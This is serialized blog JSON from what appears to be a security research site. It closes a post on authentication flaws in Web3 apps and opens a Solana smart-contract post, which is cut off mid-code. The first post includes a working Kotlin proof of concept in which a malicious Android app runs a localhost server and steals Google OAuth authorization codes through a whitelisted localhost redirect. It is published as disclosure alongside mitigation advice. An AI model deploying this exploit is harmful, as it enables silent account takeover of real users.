null",{"type":23,"tag":230,"props":72048,"children":72049},{"style":274},[72050],{"type":29,"value":511},{"type":23,"tag":230,"props":72052,"children":72053},{"class":232,"line":453},[72054],{"type":23,"tag":230,"props":72055,"children":72056},{"style":274},[72057],{"type":29,"value":1552},{"type":23,"tag":230,"props":72059,"children":72060},{"class":232,"line":462},[72061],{"type":23,"tag":230,"props":72062,"children":72063},{"style":274},[72064],{"type":29,"value":975},{"type":23,"tag":59,"props":72066,"children":72067},{"id":5086},[72068],{"type":29,"value":5089},{"type":23,"tag":32,"props":72070,"children":72071},{},[72072,72074,72081,72083,72089],{"type":29,"value":72073},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":181,"props":72075,"children":72078},{"href":72076,"rel":72077},"https://supabase.com/docs/guides/database/postgres/row-level-security",[185],[72079],{"type":29,"value":72080},"Row-Level Security",{"type":29,"value":72082}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":71,"props":72084,"children":72086},{"className":72085},[],[72087],{"type":29,"value":72088},"app_metadata",{"type":29,"value":72090},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":24,"props":72092,"children":72094},{"id":72093},"oauth-in-development-environments",[72095],{"type":29,"value":72096},"OAuth in development environments",{"type":23,"tag":32,"props":72098,"children":72099},{},[72100,72102,72109,72111,72116],{"type":29,"value":72101},"After watching a ",{"type":23,"tag":181,"props":72103,"children":72106},{"href":72104,"rel":72105},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[185],[72107],{"type":29,"value":72108},"talk",{"type":29,"value":72110}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":71,"props":72112,"children":72114},{"className":72113},[],[72115],{"type":29,"value":71542},{"type":29,"value":72117}," parameter during the OAuth flow.",{"type":23,"tag":32,"props":72119,"children":72120},{},[72121,72123,72130],{"type":29,"value":72122},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":181,"props":72124,"children":72127},{"href":72125,"rel":72126},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[185],[72128],{"type":29,"value":72129},"Remote Code Execution",{"type":29,"value":72131}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":32,"props":72133,"children":72134},{},[72135,72137,72143],{"type":29,"value":72136},"In one of our client's implementations, we identified that ",{"type":23,"tag":71,"props":72138,"children":72140},{"className":72139},[],[72141],{"type":29,"value":72142},"localhost:3000",{"type":29,"value":72144}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":32,"props":72146,"children":72147},{},[72148],{"type":29,"value":72149},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":220,"props":72151,"children":72155},{"className":72152,"code":72153,"language":72154,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[72156],{"type":23,"tag":71,"props":72157,"children":72158},{"__ignoreMap":7},[72159],{"type":23,"tag":230,"props":72160,"children":72161},{"class":232,"line":233},[72162],{"type":23,"tag":230,"props":72163,"children":72164},{},[72165],{"type":29,"value":72153},{"type":23,"tag":32,"props":72167,"children":72168},{},[72169],{"type":29,"value":72170},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":220,"props":72172,"children":72176},{"className":72173,"code":72174,"language":72175,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[72177],{"type":23,"tag":71,"props":72178,"children":72179},{"__ignoreMap":7},[72180,72207,72214,72246,72268,72275,72283,72305,72317,72329,72364,72390,72440,72447,72454,72461,72469,72491,72526,72539,72546,72553,72574,72600,72612,72633,72650,72662,72688,72727,72748,72756,72768,72793,72805,72818,72826,72833,72841,72849,72856,72886,72893],{"type":23,"tag":230,"props":72181,"children":72182},{"class":232,"line":233},[72183,72188,72193,72198,72203],{"type":23,"tag":230,"props":72184,"children":72185},{"style":256},[72186],{"type":29,"value":72187},"class",{"type":23,"tag":230,"props":72189,"children":72190},{"style":676},[72191],{"type":29,"value":72192}," MainActivity",{"type":23,"tag":230,"props":72194,"children":72195},{"style":274},[72196],{"type":29,"value":72197}," : ",{"type":23,"tag":230,"props":72199,"children":72200},{"style":676},[72201],{"type":29,"value":72202},"AppCompatActivity",{"type":23,"tag":230,"props":72204,"children":72205},{"style":274},[72206],{"type":29,"value":18061},{"type":23,"tag":230,"props":72208,"children":72209},{"class":232,"line":243},[72210],{"type":23,"tag":230,"props":72211,"children":72212},{"emptyLinePlaceholder":18},[72213],{"type":29,"value":459},{"type":23,"tag":230,"props":72215,"children":72216},{"class":232,"line":252},[72217,72222,72226,72231,72236,72241],{"type":23,"tag":230,"props":72218,"children":72219},{"style":256},[72220],{"type":29,"value":72221},"    override",{"type":23,"tag":230,"props":72223,"children":72224},{"style":256},[72225],{"type":29,"value":8544},{"type":23,"tag":230,"props":72227,"children":72228},{"style":294},[72229],{"type":29,"value":72230}," onCreate",{"type":23,"tag":230,"props":72232,"children":72233},{"style":274},[72234],{"type":29,"value":72235},"(savedInstanceState: ",{"type":23,"tag":230,"props":72237,"children":72238},{"style":676},[72239],{"type":29,"value":72240},"Bundle",{"type":23,"tag":230,"props":72242,"children":72243},{"style":274},[72244],{"type":29,"value":72245},"?) {\n",{"type":23,"tag":230,"props":72247,"children":72248},{"class":232,"line":280},[72249,72254,72258,72263],{"type":23,"tag":230,"props":72250,"children":72251},{"style":256},[72252],{"type":29,"value":72253},"        super",{"type":23,"tag":230,"props":72255,"children":72256},{"style":274},[72257],{"type":29,"value":312},{"type":23,"tag":230,"props":72259,"children":72260},{"style":294},[72261],{"type":29,"value":72262},"onCreate",{"type":23,"tag":230,"props":72264,"children":72265},{"style":274},[72266],{"type":29,"value":72267},"(savedInstanceState)\n",{"type":23,"tag":230,"props":72269,"children":72270},{"class":232,"line":334},[72271],{"type":23,"tag":230,"props":72272,"children":72273},{"emptyLinePlaceholder":18},[72274],{"type":29,"value":459},{"type":23,"tag":230,"props":72276,"children":72277},{"class":232,"line":371},[72278],{"type":23,"tag":230,"props":72279,"children":72280},{"style":237},[72281],{"type":29,"value":72282},"        // Start the Ktor web server\n",{"type":23,"tag":230,"props":72284,"children":72285},{"class":232,"line":391},[72286,72291,72296,72301],{"type":23,"tag":230,"props":72287,"children":72288},{"style":294},[72289],{"type":29,"value":72290},"        CoroutineScope",{"type":23,"tag":230,"props":72292,"children":72293},{"style":274},[72294],{"type":29,"value":72295},"(Dispatchers.IO).",{"type":23,"tag":230,"props":72297,"children":72298},{"style":294},[72299],{"type":29,"value":72300},"launch",{"type":23,"tag":230,"props":72302,"children":72303},{"style":274},[72304],{"type":29,"value":277},{"type":23,"tag":230,"props":72306,"children":72307},{"class":232,"line":400},[72308,72313],{"type":23,"tag":230,"props":72309,"children":72310},{"style":866},[72311],{"type":29,"value":72312},"            try",{"type":23,"tag":230,"props":72314,"children":72315},{"style":274},[72316],{"type":29,"value":277},{"type":23,"tag":230,"props":72318,"children":72319},{"class":232,"line":444},[72320,72325],{"type":23,"tag":230,"props":72321,"children":72322},{"style":294},[72323],{"type":29,"value":72324},"                startWebServer",{"type":23,"tag":230,"props":72326,"children":72327},{"style":274},[72328],{"type":29,"value":10072},{"type":23,"tag":230,"props":72330,"children":72331},{"class":232,"line":453},[72332,72337,72342,72346,72351,72355,72360],{"type":23,"tag":230,"props":72333,"children":72334},{"style":274},[72335],{"type":29,"value":72336},"                Log.",{"type":23,"tag":230,"props":72338,"children":72339},{"style":294},[72340],{"type":29,"value":72341},"d",{"type":23,"tag":230,"props":72343,"children":72344},{"style":274},[72345],{"type":29,"value":302},{"type":23,"tag":230,"props":72347,"children":72348},{"style":380},[72349],{"type":29,"value":72350},"\"WebServer\"",{"type":23,"tag":230,"props":72352,"children":72353},{"style":274},[72354],{"type":29,"value":684},{"type":23,"tag":230,"props":72356,"children":72357},{"style":380},[72358],{"type":29,"value":72359},"\"Server started on http://localhost:3000\"",{"type":23,"tag":230,"props":72361,"children":72362},{"style":274},[72363],{"type":29,"value":4516},{"type":23,"tag":230,"props":72365,"children":72366},{"class":232,"line":462},[72367,72372,72376,72381,72386],{"type":23,"tag":230,"props":72368,"children":72369},{"style":274},[72370],{"type":29,"value":72371},"            } ",{"type":23,"tag":230,"props":72373,"children":72374},{"style":256},[72375],{"type":29,"value":50183},{"type":23,"tag":230,"props":72377,"children":72378},{"style":274},[72379],{"type":29,"value":72380}," (e: ",{"type":23,"tag":230,"props":72382,"children":72383},{"style":676},[72384],{"type":29,"value":72385},"Exception",{"type":23,"tag":230,"props":72387,"children":72388},{"style":274},[72389],{"type":29,"value":827},{"type":23,"tag":230,"props":72391,"children":72392},{"class":232,"line":471},[72393,72397,72401,72405,72409,72413,72418,72422,72427,72431,72435],{"type":23,"tag":230,"props":72394,"children":72395},{"style":274},[72396],{"type":29,"value":72336},{"type":23,"tag":230,"props":72398,"children":72399},{"style":294},[72400],{"type":29,"value":53227},{"type":23,"tag":230,"props":72402,"children":72403},{"style":274},[72404],{"type":29,"value":302},{"type":23,"tag":230,"props":72406,"children":72407},{"style":380},[72408],{"type":29,"value":72350},{"type":23,"tag":230,"props":72410,"children":72411},{"style":274},[72412],{"type":29,"value":684},{"type":23,"tag":230,"props":72414,"children":72415},{"style":380},[72416],{"type":29,"value":72417},"\"Error starting server: ",{"type":23,"tag":230,"props":72419,"children":72420},{"style":256},[72421],{"type":29,"value":632},{"type":23,"tag":230,"props":72423,"children":72424},{"style":268},[72425],{"type":29,"value":72426},"e.message",{"type":23,"tag":230,"props":72428,"children":72429},{"style":256},[72430],{"type":29,"value":642},{"type":23,"tag":230,"props":72432,"children":72433},{"style":380},[72434],{"type":29,"value":22374},{"type":23,"tag":230,"props":72436,"children":72437},{"style":274},[72438],{"type":29,"value":72439},", e)\n",{"type":23,"tag":230,"props":72441,"children":72442},{"class":232,"line":500},[72443],{"type":23,"tag":230,"props":72444,"children":72445},{"style":274},[72446],{"type":29,"value":60659},{"type":23,"tag":230,"props":72448,"children":72449},{"class":232,"line":514},[72450],{"type":23,"tag":230,"props":72451,"children":72452},{"style":274},[72453],{"type":29,"value":5686},{"type":23,"tag":230,"props":72455,"children":72456},{"class":232,"line":897},[72457],{"type":23,"tag":230,"props":72458,"children":72459},{"emptyLinePlaceholder":18},[72460],{"type":29,"value":459},{"type":23,"tag":230,"props":72462,"children":72463},{"class":232,"line":960},[72464],{"type":23,"tag":230,"props":72465,"children":72466},{"style":237},[72467],{"type":29,"value":72468},"        // Open the Google OAuth page\n",{"type":23,"tag":230,"props":72470,"children":72471},{"class":232,"line":969},[72472,72477,72482,72486],{"type":23,"tag":230,"props":72473,"children":72474},{"style":256},[72475],{"type":29,"value":72476},"        val",{"type":23,"tag":230,"props":72478,"children":72479},{"style":274},[72480],{"type":29,"value":72481}," googleOAuthUrl ",{"type":23,"tag":230,"props":72483,"children":72484},{"style":268},[72485],{"type":29,"value":863},{"type":23,"tag":230,"props":72487,"children":72488},{"style":380},[72489],{"type":29,"value":72490}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":230,"props":72492,"children":72493},{"class":232,"line":4526},[72494,72498,72503,72507,72512,72517,72521],{"type":23,"tag":230,"props":72495,"children":72496},{"style":256},[72497],{"type":29,"value":72476},{"type":23,"tag":230,"props":72499,"children":72500},{"style":274},[72501],{"type":29,"value":72502}," browserIntent ",{"type":23,"tag":230,"props":72504,"children":72505},{"style":268},[72506],{"type":29,"value":863},{"type":23,"tag":230,"props":72508,"children":72509},{"style":294},[72510],{"type":29,"value":72511}," Intent",{"type":23,"tag":230,"props":72513,"children":72514},{"style":274},[72515],{"type":29,"value":72516},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":230,"props":72518,"children":72519},{"style":294},[72520],{"type":29,"value":3916},{"type":23,"tag":230,"props":72522,"children":72523},{"style":274},[72524],{"type":29,"value":72525},"(googleOAuthUrl))\n",{"type":23,"tag":230,"props":72527,"children":72528},{"class":232,"line":4534},[72529,72534],{"type":23,"tag":230,"props":72530,"children":72531},{"style":294},[72532],{"type":29,"value":72533},"        startActivity",{"type":23,"tag":230,"props":72535,"children":72536},{"style":274},[72537],{"type":29,"value":72538},"(browserIntent)\n",{"type":23,"tag":230,"props":72540,"children":72541},{"class":232,"line":4542},[72542],{"type":23,"tag":230,"props":72543,"children":72544},{"style":274},[72545],{"type":29,"value":1552},{"type":23,"tag":230,"props":72547,"children":72548},{"class":232,"line":4559},[72549],{"type":23,"tag":230,"props":72550,"children":72551},{"emptyLinePlaceholder":18},[72552],{"type":29,"value":459},{"type":23,"tag":230,"props":72554,"children":72555},{"class":232,"line":4587},[72556,72561,72565,72570],{"type":23,"tag":230,"props":72557,"children":72558},{"style":256},[72559],{"type":29,"value":72560},"    private",{"type":23,"tag":230,"props":72562,"children":72563},{"style":256},[72564],{"type":29,"value":8544},{"type":23,"tag":230,"props":72566,"children":72567},{"style":294},[72568],{"type":29,"value":72569}," startWebServer",{"type":23,"tag":230,"props":72571,"children":72572},{"style":274},[72573],{"type":29,"value":18061},{"type":23,"tag":230,"props":72575,"children":72576},{"class":232,"line":4595},[72577,72582,72587,72591,72596],{"type":23,"tag":230,"props":72578,"children":72579},{"style":294},[72580],{"type":29,"value":72581},"        embeddedServer",{"type":23,"tag":230,"props":72583,"children":72584},{"style":274},[72585],{"type":29,"value":72586},"(CIO, port ",{"type":23,"tag":230,"props":72588,"children":72589},{"style":268},[72590],{"type":29,"value":863},{"type":23,"tag":230,"props":72592,"children":72593},{"style":5149},[72594],{"type":29,"value":72595}," 3000",{"type":23,"tag":230,"props":72597,"children":72598},{"style":274},[72599],{"type":29,"value":827},{"type":23,"tag":230,"props":72601,"children":72602},{"class":232,"line":4619},[72603,72608],{"type":23,"tag":230,"props":72604,"children":72605},{"style":294},[72606],{"type":29,"value":72607},"            routing",{"type":23,"tag":230,"props":72609,"children":72610},{"style":274},[72611],{"type":29,"value":277},{"type":23,"tag":230,"props":72613,"children":72614},{"class":232,"line":4627},[72615,72620,72624,72629],{"type":23,"tag":230,"props":72616,"children":72617},{"style":256},[72618],{"type":29,"value":72619},"                get",{"type":23,"tag":230,"props":72621,"children":72622},{"style":274},[72623],{"type":29,"value":302},{"type":23,"tag":230,"props":72625,"children":72626},{"style":380},[72627],{"type":29,"value":72628},"\"{...}\"",{"type":23,"tag":230,"props":72630,"children":72631},{"style":274},[72632],{"type":29,"value":827},{"type":23,"tag":230,"props":72634,"children":72635},{"class":232,"line":4659},[72636,72641,72646],{"type":23,"tag":230,"props":72637,"children":72638},{"style":274},[72639],{"type":29,"value":72640},"                    call.",{"type":23,"tag":230,"props":72642,"children":72643},{"style":294},[72644],{"type":29,"value":72645},"respondHtml",{"type":23,"tag":230,"props":72647,"children":72648},{"style":274},[72649],{"type":29,"value":277},{"type":23,"tag":230,"props":72651,"children":72652},{"class":232,"line":4671},[72653,72658],{"type":23,"tag":230,"props":72654,"children":72655},{"style":294},[72656],{"type":29,"value":72657},"                        head",{"type":23,"tag":230,"props":72659,"children":72660},{"style":274},[72661],{"type":29,"value":277},{"type":23,"tag":230,"props":72663,"children":72664},{"class":232,"line":4688},[72665,72670,72675,72679,72684],{"type":23,"tag":230,"props":72666,"children":72667},{"style":294},[72668],{"type":29,"value":72669},"                            meta",{"type":23,"tag":230,"props":72671,"children":72672},{"style":274},[72673],{"type":29,"value":72674},"(charset ",{"type":23,"tag":230,"props":72676,"children":72677},{"style":268},[72678],{"type":29,"value":863},{"type":23,"tag":230,"props":72680,"children":72681},{"style":380},[72682],{"type":29,"value":72683}," \"UTF-8\"",{"type":23,"tag":230,"props":72685,"children":72686},{"style":274},[72687],{"type":29,"value":4516},{"type":23,"tag":230,"props":72689,"children":72690},{"class":232,"line":4701},[72691,72695,72700,72704,72709,72714,72718,72723],{"type":23,"tag":230,"props":72692,"children":72693},{"style":294},[72694],{"type":29,"value":72669},{"type":23,"tag":230,"props":72696,"children":72697},{"style":274},[72698],{"type":29,"value":72699},"(name ",{"type":23,"tag":230,"props":72701,"children":72702},{"style":268},[72703],{"type":29,"value":863},{"type":23,"tag":230,"props":72705,"children":72706},{"style":380},[72707],{"type":29,"value":72708}," \"viewport\"",{"type":23,"tag":230,"props":72710,"children":72711},{"style":274},[72712],{"type":29,"value":72713},", content ",{"type":23,"tag":230,"props":72715,"children":72716},{"style":268},[72717],{"type":29,"value":863},{"type":23,"tag":230,"props":72719,"children":72720},{"style":380},[72721],{"type":29,"value":72722}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":230,"props":72724,"children":72725},{"style":274},[72726],{"type":29,"value":4516},{"type":23,"tag":230,"props":72728,"children":72729},{"class":232,"line":4724},[72730,72735,72739,72744],{"type":23,"tag":230,"props":72731,"children":72732},{"style":294},[72733],{"type":29,"value":72734},"                            title",{"type":23,"tag":230,"props":72736,"children":72737},{"style":274},[72738],{"type":29,"value":302},{"type":23,"tag":230,"props":72740,"children":72741},{"style":380},[72742],{"type":29,"value":72743},"\"OAuth Redirect\"",{"type":23,"tag":230,"props":72745,"children":72746},{"style":274},[72747],{"type":29,"value":4516},{"type":23,"tag":230,"props":72749,"children":72750},{"class":232,"line":4741},[72751],{"type":23,"tag":230,"props":72752,"children":72753},{"style":274},[72754],{"type":29,"value":72755},"                        }\n",{"type":23,"tag":230,"props":72757,"children":72758},{"class":232,"line":4759},[72759,72764],{"type":23,"tag":230,"props":72760,"children":72761},{"style":294},[72762],{"type":29,"value":72763},"                        body",{"type":23,"tag":230,"props":72765,"children":72766},{"style":274},[72767],{"type":29,"value":277},{"type":23,"tag":230,"props":72769,"children":72770},{"class":232,"line":4768},[72771,72776,72780,72784,72789],{"type":23,"tag":230,"props":72772,"children":72773},{"style":294},[72774],{"type":29,"value":72775},"                            h1",{"type":23,"tag":230,"props":72777,"children":72778},{"style":274},[72779],{"type":29,"value":848},{"type":23,"tag":230,"props":72781,"children":72782},{"style":268},[72783],{"type":29,"value":6719},{"type":23,"tag":230,"props":72785,"children":72786},{"style":380},[72787],{"type":29,"value":72788},"\"Google OAuth Redirect\"",{"type":23,"tag":230,"props":72790,"children":72791},{"style":274},[72792],{"type":29,"value":11927},{"type":23,"tag":230,"props":72794,"children":72795},{"class":232,"line":4776},[72796,72801],{"type":23,"tag":230,"props":72797,"children":72798},{"style":294},[72799],{"type":29,"value":72800},"                            script",{"type":23,"tag":230,"props":72802,"children":72803},{"style":274},[72804],{"type":29,"value":277},{"type":23,"tag":230,"props":72806,"children":72807},{"class":232,"line":4784},[72808,72813],{"type":23,"tag":230,"props":72809,"children":72810},{"style":268},[72811],{"type":29,"value":72812},"                                +",{"type":23,"tag":230,"props":72814,"children":72815},{"style":380},[72816],{"type":29,"value":72817},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":230,"props":72819,"children":72820},{"class":232,"line":4792},[72821],{"type":23,"tag":230,"props":72822,"children":72823},{"style":274},[72824],{"type":29,"value":72825},"                            }\n",{"type":23,"tag":230,"props":72827,"children":72828},{"class":232,"line":4824},[72829],{"type":23,"tag":230,"props":72830,"children":72831},{"style":274},[72832],{"type":29,"value":72755},{"type":23,"tag":230,"props":72834,"children":72835},{"class":232,"line":4832},[72836],{"type":23,"tag":230,"props":72837,"children":72838},{"style":274},[72839],{"type":29,"value":72840},"                    }\n",{"type":23,"tag":230,"props":72842,"children":72843},{"class":232,"line":4840},[72844],{"type":23,"tag":230,"props":72845,"children":72846},{"style":274},[72847],{"type":29,"value":72848},"                }\n",{"type":23,"tag":230,"props":72850,"children":72851},{"class":232,"line":4901},[72852],{"type":23,"tag":230,"props":72853,"children":72854},{"style":274},[72855],{"type":29,"value":60659},{"type":23,"tag":230,"props":72857,"children":72858},{"class":232,"line":4909},[72859,72864,72869,72874,72878,72882],{"type":23,"tag":230,"props":72860,"children":72861},{"style":274},[72862],{"type":29,"value":72863},"        }.",{"type":23,"tag":230,"props":72865,"children":72866},{"style":294},[72867],{"type":29,"value":72868},"start",{"type":23,"tag":230,"props":72870,"children":72871},{"style":274},[72872],{"type":29,"value":72873},"(wait ",{"type":23,"tag":230,"props":72875,"children":72876},{"style":268},[72877],{"type":29,"value":863},{"type":23,"tag":230,"props":72879,"children":72880},{"style":256},[72881],{"type":29,"value":14799},{"type":23,"tag":230,"props":72883,"children":72884},{"style":274},[72885],{"type":29,"value":4516},{"type":23,"tag":230,"props":72887,"children":72888},{"class":232,"line":4938},[72889],{"type":23,"tag":230,"props":72890,"children":72891},{"style":274},[72892],{"type":29,"value":1552},{"type":23,"tag":230,"props":72894,"children":72895},{"class":232,"line":4957},[72896],{"type":23,"tag":230,"props":72897,"children":72898},{"style":274},[72899],{"type":29,"value":975},{"type":23,"tag":32,"props":72901,"children":72902},{},[72903],{"type":29,"value":72904},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":32,"props":72906,"children":72907},{},[72908],{"type":29,"value":72909},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":59,"props":72911,"children":72913},{"id":72912},"mitigation-1",[72914],{"type":29,"value":5089},{"type":23,"tag":32,"props":72916,"children":72917},{},[72918,72920,72925],{"type":29,"value":72919},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":71,"props":72921,"children":72923},{"className":72922},[],[72924],{"type":29,"value":71542},{"type":29,"value":72926}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":24,"props":72928,"children":72929},{"id":5163},[72930],{"type":29,"value":5166},{"type":23,"tag":32,"props":72932,"children":72933},{},[72934],{"type":29,"value":72935},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":32,"props":72937,"children":72938},{},[72939],{"type":29,"value":72940},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":5178,"props":72942,"children":72943},{},[72944],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":72946},[72947,72954,72959,72962],{"id":71310,"depth":243,"text":71313,"children":72948},[72949,72950,72951,72952,72953],{"id":71321,"depth":252,"text":71324},{"id":71348,"depth":252,"text":71351},{"id":71409,"depth":252,"text":71412},{"id":71466,"depth":252,"text":71469},{"id":71565,"depth":252,"text":71568},{"id":71611,"depth":243,"text":71614,"children":72955},[72956,72957,72958],{"id":71617,"depth":252,"text":71620},{"id":71644,"depth":252,"text":71647},{"id":5086,"depth":252,"text":5089},{"id":72093,"depth":243,"text":72096,"children":72960},[72961],{"id":72912,"depth":252,"text":5089},{"id":5163,"depth":243,"text":5166},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":72967,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":72968,"description":72969,"author":42218,"image":72970,"date":72972,"isFeatured":18,"tags":72973,"onBlogPage":18,"body":72974,"_type":5202,"_id":77628,"_source":5204,"_file":77629,"_stem":77630,"_extension":5207},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":72971,"height":16,"width":16},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[5219],{"type":20,"children":72975,"toc":77617},[72976,72980,72985,72999,73005,73010,73040,73045,73050,74088,74093,74101,74106,74112,74118,74130,74163,74175,74188,74200,74645,74650,74696,74702,74707,74794,74799,74813,74826,75489,75494,75506,75512,75523,75535,75689,75703,75722,75743,75749,75754,76099,76104,76110,76129,76143,76765,76770,76790,76795,76800,76806,76818,76839,77014,77020,77025,77326,77347,77359,77371,77455,77475,77487,77493,77505,77511,77516,77539,77551,77557,77569,77574,77580,77585,77590,77608,77613],{"type":23,"tag":24,"props":72977,"children":72978},{"id":31322},[72979],{"type":29,"value":31325},{"type":23,"tag":32,"props":72981,"children":72982},{},[72983],{"type":29,"value":72984},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":32,"props":72986,"children":72987},{},[72988,72990,72997],{"type":29,"value":72989},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":181,"props":72991,"children":72994},{"href":72992,"rel":72993},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[185],[72995],{"type":29,"value":72996},"King of the Ether",{"type":29,"value":72998},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":24,"props":73000,"children":73002},{"id":73001},"the-game-king-of-the-sol",[73003],{"type":29,"value":73004},"The Game: King of the SOL",{"type":23,"tag":32,"props":73006,"children":73007},{},[73008],{"type":29,"value":73009},"The game works like this:",{"type":23,"tag":98,"props":73011,"children":73012},{},[73013,73025,73030,73035],{"type":23,"tag":102,"props":73014,"children":73015},{},[73016,73018,73023],{"type":29,"value":73017},"Anyone can become the ",{"type":23,"tag":2302,"props":73019,"children":73020},{},[73021],{"type":29,"value":73022},"king",{"type":29,"value":73024}," by bidding at least 2× the previous bid.",{"type":23,"tag":102,"props":73026,"children":73027},{},[73028],{"type":29,"value":73029},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":102,"props":73031,"children":73032},{},[73033],{"type":29,"value":73034},"The remaining 5% goes into a prize pot.",{"type":23,"tag":102,"props":73036,"children":73037},{},[73038],{"type":29,"value":73039},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":32,"props":73041,"children":73042},{},[73043],{"type":29,"value":73044},"Simple, right?",{"type":23,"tag":32,"props":73046,"children":73047},{},[73048],{"type":29,"value":73049},"This is the core logic:",{"type":23,"tag":220,"props":73051,"children":73053},{"className":5320,"code":73052,"language":5319,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: 